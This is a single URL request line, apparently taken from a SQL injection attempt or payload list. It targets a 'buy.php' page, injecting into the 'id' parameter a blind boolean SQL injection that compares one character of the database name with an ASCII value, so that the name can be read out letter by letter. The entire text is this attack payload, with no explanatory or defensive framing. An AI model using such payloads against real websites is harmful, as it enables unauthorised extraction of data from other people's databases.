buy.php?id=1' AND ascii(substring((database()),30,1))=68